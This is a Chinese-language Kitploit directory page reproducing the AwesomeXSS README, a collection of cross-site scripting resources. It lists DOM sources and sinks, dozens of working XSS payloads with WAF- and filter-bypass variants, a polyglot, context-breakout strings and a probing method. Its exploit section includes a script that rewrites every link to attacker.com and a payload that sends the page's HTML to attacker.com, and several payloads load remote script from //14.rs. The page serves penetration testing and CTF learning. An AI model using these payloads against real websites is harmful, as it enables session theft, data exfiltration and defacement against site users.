Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
AwesomeXSS — 很棒的 XSS 资料 | Kitploit
工具/GitHubGitHub/s0md3v/awesomexss
Payload生成WAF绕过Web安全CTF论文与研究学习与教育精选资源学习路径与课程实验室与实践
GitHubs0md3v/awesomexss

AwesomeXSS

很棒的 XSS 资料

查看仓库
5.1k7821年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

AwesomeXSS

这个仓库收集了各种 Awesome XSS 资源。欢迎贡献,请通过 issue 提交。

精彩内容

  • 挑战
  • 阅读与演讲
  • 工具
  • 思维导图
  • DOM XSS
  • Payload
  • Polyglot
  • 标签与事件处理器
  • 上下文突破
    • HTML 上下文
    • 属性上下文
    • JavaScript 上下文
  • Confirm 变体
  • 漏洞利用
  • 探测
  • 绕过
  • 编码
  • 技巧与诀窍

精彩挑战

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

精彩阅读与演讲

  • 绕过 XSS 检测机制
  • 通过 PNG Content-Type 在 Facebook 上实现 XSS
  • 我是如何遇见你女朋友的
  • 如何在一小时内找到 1,352 个 WordPress XSS 插件漏洞
  • 盲 XSS
  • Copy Pest

精彩工具

  • XSStrike
  • BeEF
  • JShell

精彩 XSS 思维导图

一幅由 Jack Masa 制作的精美 XSS 思维导图,点击查看

精彩 DOM XSS

  • 你的输入是否会进入某个 sink?Vulnerable
  • 不会?Not vulnerable

Source:一种可能由外部(不可信)来源控制的输入。

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink:一种可能导致漏洞的危险方法。在这里指基于 DOM 的 XSS。

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

这份完整的 sink 和 source 列表取自 domxsswiki。

精彩 Payload

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

精彩 Polyglot

下面是我编写的一个 XSS polyglot,可以突破 20 多种上下文:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

关于其工作原理的说明,点击这里

精彩标签与事件处理器

  • 105 个带描述的事件处理器
  • 200 个不带描述的事件处理器

一些不太容易被检测到的事件处理器

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

你将会用到的一些 HTML 标签

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

精彩上下文突破

HTML 上下文

场景:<tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

属性上下文

场景:<tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript 上下文

场景:<script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

精彩 Confirm 变体

没错,用 confirm,因为 alert 太主流了。

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

精彩漏洞利用

替换所有链接
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
源代码窃取器
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

精彩探测

如果这些都没有用,请看 精彩绕过 一节。

首先,输入一个非恶意字符串,如 d3v,然后查看源代码,以了解反射的数量和上下文。
对于属性上下文,先输入 x"d3v 检查双引号 (") 是否被过滤。如果它变成了 x&quot;d3v,说明输出很可能被正确转义了。如果确实如此,再输入 x'd3v 对单引号 (') 做同样的测试;如果它变成了 x&apos;,那你就没戏了。唯一能尝试的就是编码。
如果引号没有被过滤,你可以直接尝试 精彩上下文突破 一节中的 payload。
对于 JavaScript 上下文,检查使用的是哪种引号,例如他们是否这样写

root@kitploit:~
variable = 'value' or variable = "value"

假设使用了单引号 ('),此时输入 x'd3v。如果它变成了 x\'d3v,尝试在探测串中再加一个反斜杠来转义反斜杠 (),即 x\'d3v。如果成功,使用以下 payload:

root@kitploit:~
\'-alert()//

但如果它变成了 x\\\'d3v,你能尝试的只有闭合 script 标签本身:

root@kitploit:~
</script><svg onload=alert()>

对于简单的 HTML 上下文,探测串是 x<d3v。如果它变成了 x&gt;d3v,说明有适当的净化机制。如果它原样返回,你可以输入一个虚拟标签来检查潜在过滤器。我喜欢用的虚拟标签是 x<xxx>。如果它被以任何方式剥离或改变,说明过滤器在查找 < 和 > 对。可以这样简单绕过:

root@kitploit:~
<svg onload=alert()//

或者这样(并非在所有情况下都有效):

root@kitploit:~
<svg onload=alert()

如果你的虚拟标签原样出现在源代码中,可以使用以下任意 payload:

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

精彩绕过

注意: 以下 payload 均不使用单引号 (') 或双引号 (")。

  • 不使用事件处理器
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • 不使用空格
root@kitploit:~
<svg/onload=confirm()>

  • 不使用斜杠 (/)
root@kitploit:~
<svg onload=confirm()>

  • 不使用等号 (=)
root@kitploit:~
<script>confirm()</script>
  • 不使用右尖括号 (>)
root@kitploit:~
<svg onload=confirm()//
  • 不使用 alert、confirm、prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • 不使用有效的 HTML 标签
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • 绕过标签黑名单
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

精彩编码

精彩技巧与诀窍

  • http(s):// 可以简写为 // 或 /\\ 或 \\。
  • document.cookie 可以简写为 cookie。这也适用于其他 DOM 对象。
  • alert 和其他弹窗函数不需要参数,所以别再写 alert('XSS') 了,直接 alert()。
  • 可以用 // 代替 > 来闭合标签。
  • 我发现 confirm 是最不容易被检测到的弹窗函数,所以别再使用 alert 了。
  • 只要属性值不包含空格,引号就不是必需的。你可以用 <script src=//14.rs> 代替 <script src="//14.rs">。
  • 最短的 HTML 上下文 XSS payload 是 <script src=//14.rs>(19 个字符)。

精彩致谢

除非另有说明,所有 payload 均由我本人编写。

下载工具
HTML字符数字描述HexCSS (ISO)JS (Octal)URL
&quot;"&#34;引号u+0022\0022\42%22
&num;#&#35;数字符号u+0023\0023\43%23
&dollar;$&#36;美元符号u+0024\0024\44%24
&percnt;%&#37;百分号u+0025\0025\45%25
&amp;&&#38;和号u+0026\0026\46%26
&apos;'&#39;撇号u+0027\0027\47%27
&lpar;(&#40;左括号u+0028\0028\50%28
&rpar;)&#41;右括号u+0029\0029\51%29
&ast;*&#42;星号u+002A\002a\52%2A
&plus;+&#43;加号u+002B\002b\53%2B
&comma;,&#44;逗号u+002C\002c\54%2C
&minus;-&#45;连字符-减号u+002D\002d\55%2D
&period;.&#46;句点;句号u+002E\002e\56%2E
&sol;/&#47;斜线;斜杠u+002F\002f\57%2F
&colon;:&#58;冒号u+003A\003a\72%3A
&semi;;&#59;分号u+003B\003b\73%3B
&lt;<&#60;小于号u+003C\003c\74%3C
&equals;=&#61;等号u+003D\003d\75%3D
&gt;>&#62;大于号u+003E\003e\76%3E
&quest;?&#63;问号u+003F\003f\77%3F
&commat;@&#64;at 符号;商业 atu+0040\0040\100%40
&lsqb;[&#91;左方括号u+005B\005b\133%5B
&bsol;\&#92;反斜杠u+005C\005c\134%5C
&rsqb;]&#93;右方括号u+005D\005d\135%5D
&Hat;^&#94;抑扬音符u+005E\005e\136%5E
&lowbar;_&#95;下划线u+005F\005f\137%5F
&grave;`&#96;重音符u+0060\0060\u0060%60
&lcub;{&#123;左花括号u+007b\007b\173%7b
&verbar;|&#124;竖线u+007c\007c\174%7c
&rcub;}&#125;右花括号u+007d\007d\175%7d